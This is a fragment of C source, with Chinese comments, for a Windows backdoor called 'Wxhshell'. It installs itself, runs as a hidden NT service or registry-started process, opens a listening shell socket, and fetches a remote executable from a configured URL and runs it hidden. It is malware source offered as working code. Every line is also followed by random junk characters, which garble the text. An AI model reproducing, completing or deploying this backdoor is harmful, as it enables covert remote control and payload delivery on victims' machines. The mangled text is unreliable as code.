DWORD AffinityMask; 4^h_n1A
DWORD BasePriority; 4%#Y)zo.e
ULONG UniqueProcessId; V<&x+?>S
ULONG InheritedFromUniqueProcessId; x {Z_rD
} PROCESS_BASIC_INFORMATION; 82ay("ZY
HD^ Ou5YB
PROCNTQSIP NtQueryInformationProcess; ,z A9*
h!l&S2)D`
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :l~^un|<2Y
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -Lh\]
Ni]V)wGE;
HANDLE hProcess; tKtKW5n~
PROCESS_BASIC_INFORMATION pbi; F*""n
wyF'B
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +u+|9@
if(NULL == hInst ) return 0; l* C>
^Pqj*k+F
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2JY]$$K7
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]o}g~Xn
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :E
]Ys
hKa<9>MI`
if (!NtQueryInformationProcess) return 0; y(gL.08<
Q+L;k
R
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tf?syk+jB7
if(!hProcess) return 0; N.r8dC
J_PAWW
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kpT>xS^6<
d.wu
CloseHandle(hProcess); 2d1Z;@x
5]_m\ zn=
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .!#0eAT
if(hProcess==NULL) return 0; nymF`0HYe1
$7k"?M_
HMODULE hMod; -!_f-Nny
char procName[255]; qfJi[8".
unsigned long cbNeeded; ./SDZ:5/
xi5G?r
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KO*# ^+g
z$#q'+$
CloseHandle(hProcess); 5q<cZ)v#&
NXwthc3
if(strstr(procName,"services")) return 1; // 以服务启动 \YXzq<7
tOUpK20q.@
return 0; // 注册表启动 i_/A,5TF
} mab921-n
OH.lAF4E(
// 主模块 'OrGt_U
int StartWxhshell(LPSTR lpCmdLine) 7 'T3Wc
{ (i..7B:
SOCKET wsl; ylFoYROO
BOOL val=TRUE; \gz(C`4{j
int port=0; ..FEyf
struct sockaddr_in door; JATW'HWC|I
(<bYoWrK#
if(wscfg.ws_autoins) Install(); v)+E!"R3.
jh7-Fl`
port=atoi(lpCmdLine); I8ZBs0sfF{
zG
IxmJ.
if(port<=0) port=wscfg.ws_port; ANIx0*Yl(
Ax"]+pb
WSADATA data; @4)NxdOE
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ez()W,6]g
]iI2
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; f\p#3IwwH
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }%^N9AA8
door.sin_family = AF_INET; dWc'R wL
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ry47Fze
door.sin_port = htons(port); xxnvz
Jcy{ ~>@7
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G5Mo IC
closesocket(wsl); 6&8uLM(z
return 1; g &E3Wc
} I
68Y4s
hQWo ]WF(J
if(listen(wsl,2) == INVALID_SOCKET) { c{"=p8F_
closesocket(wsl); 8Pb~`E/
return 1; -BV8,1
} v3p'*81;
Wxhshell(wsl); ?/@U#Qy
WSACleanup(); L0lqm0h
(
* &E~g
return 0; RpmOg
Py@/\V
} .z+S@s[O
-eE r|Gs)
// 以NT服务方式启动 .}n-N
#
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 19h@fA[:
{ #gq!L
DWORD status = 0; ?hC,49
DWORD specificError = 0xfffffff; {>v5~G
gT-"=AsxZQ
serviceStatus.dwServiceType = SERVICE_WIN32; \iP=V3
serviceStatus.dwCurrentState = SERVICE_START_PENDING; NIo!WOi
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yg@8&;bP`
serviceStatus.dwWin32ExitCode = 0; m%ec=%L9
serviceStatus.dwServiceSpecificExitCode = 0; !B*l'OJw
serviceStatus.dwCheckPoint = 0; +nAbcBJAl
serviceStatus.dwWaitHint = 0; f(Su
634OH*6
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); te[#FF3{
if (hServiceStatusHandle==0) return; m;4qs#qCg?
`1`Qu!
status = GetLastError(); ,K WIuCU;
if (status!=NO_ERROR) 7oy}<9
{ 7:C_{\(
serviceStatus.dwCurrentState = SERVICE_STOPPED; 6 l,8ev
serviceStatus.dwCheckPoint = 0; -I0J-~#
serviceStatus.dwWaitHint = 0; JGHQzC
serviceStatus.dwWin32ExitCode = status; dZWO6k9[H
serviceStatus.dwServiceSpecificExitCode = specificError; 9$q35e
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]t"X~
return; '< .gKo
} {j8M78 }3
~T^,5Tz1j
serviceStatus.dwCurrentState = SERVICE_RUNNING; cM_!_8o
serviceStatus.dwCheckPoint = 0; x
DiGN Jc
serviceStatus.dwWaitHint = 0; _LSp \{Z
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1w!O&kn
} jct|}U
agGgj>DDd
// 处理NT服务事件,比如:启动、停止 8=MNzcA }
VOID WINAPI NTServiceHandler(DWORD fdwControl) PjG^L
FX
{ H~NK:qRzK
switch(fdwControl) 0-Ga2Go9
{ Y*QoD9<T?;
case SERVICE_CONTROL_STOP: wg UgNwd1
serviceStatus.dwWin32ExitCode = 0; kNd(KQ<.17
serviceStatus.dwCurrentState = SERVICE_STOPPED; ^wIg|Gc
serviceStatus.dwCheckPoint = 0; i5 0c N<o
serviceStatus.dwWaitHint = 0; oTN:Q"oK7?
{ ^)p+)5l
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;XIDu6
} IZ_?1%q>}
return; z -c1,GOD
case SERVICE_CONTROL_PAUSE: C=Tq/L w
serviceStatus.dwCurrentState = SERVICE_PAUSED; {ePtZyo0
break; vR7S!
case SERVICE_CONTROL_CONTINUE: ipe8U1Sc
serviceStatus.dwCurrentState = SERVICE_RUNNING; Ya
`$.D
break;
m:D0O]2
case SERVICE_CONTROL_INTERROGATE: 6r.#/' "
break; #LR.1zZ
}; k`((6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); {)n@Rq\=v
} d:Oo5t)MN
oZ_,WwnE
// 标准应用程序主函数 LzQOzl@z
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5AK@e|G$w
{ -V&nlP
~l8w]R3A
// 获取操作系统版本 JT! Cb$!
OsIsNt=GetOsVer(); "Q`Le{
GetModuleFileName(NULL,ExeFile,MAX_PATH); vW-o%u*
n-u
HKBq
// 从命令行安装 pkf$%{"e
if(strpbrk(lpCmdLine,"iI")) Install(); 2~l +2..
xOx=Z\ c
// 下载执行文件 /Un\P
if(wscfg.ws_downexe) { - -\eYVh[
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qjsEyro$-
WinExec(wscfg.ws_filenam,SW_HIDE); " ?Ux\)*
} ti^=aB
H0f] Swh0a
if(!OsIsNt) { tM|/OJ7
// 如果时win9x,隐藏进程并且设置为注册表启动 T#\=v(_NR
HideProc(); BJt]k7ku+
StartWxhshell(lpCmdLine); '=`af>Nc
} JM7FVB
else {DD #&B
if(StartFromService()) +|--}iE5n
// 以服务方式启动 X%$1%)C9
StartServiceCtrlDispatcher(DispatchTable); vaLP_V
else vScEQS$>
// 普通方式启动 n/{ pQ&B
StartWxhshell(lpCmdLine); V aoqI
e'sS",o*
return 0; ?kK3%uJy&
}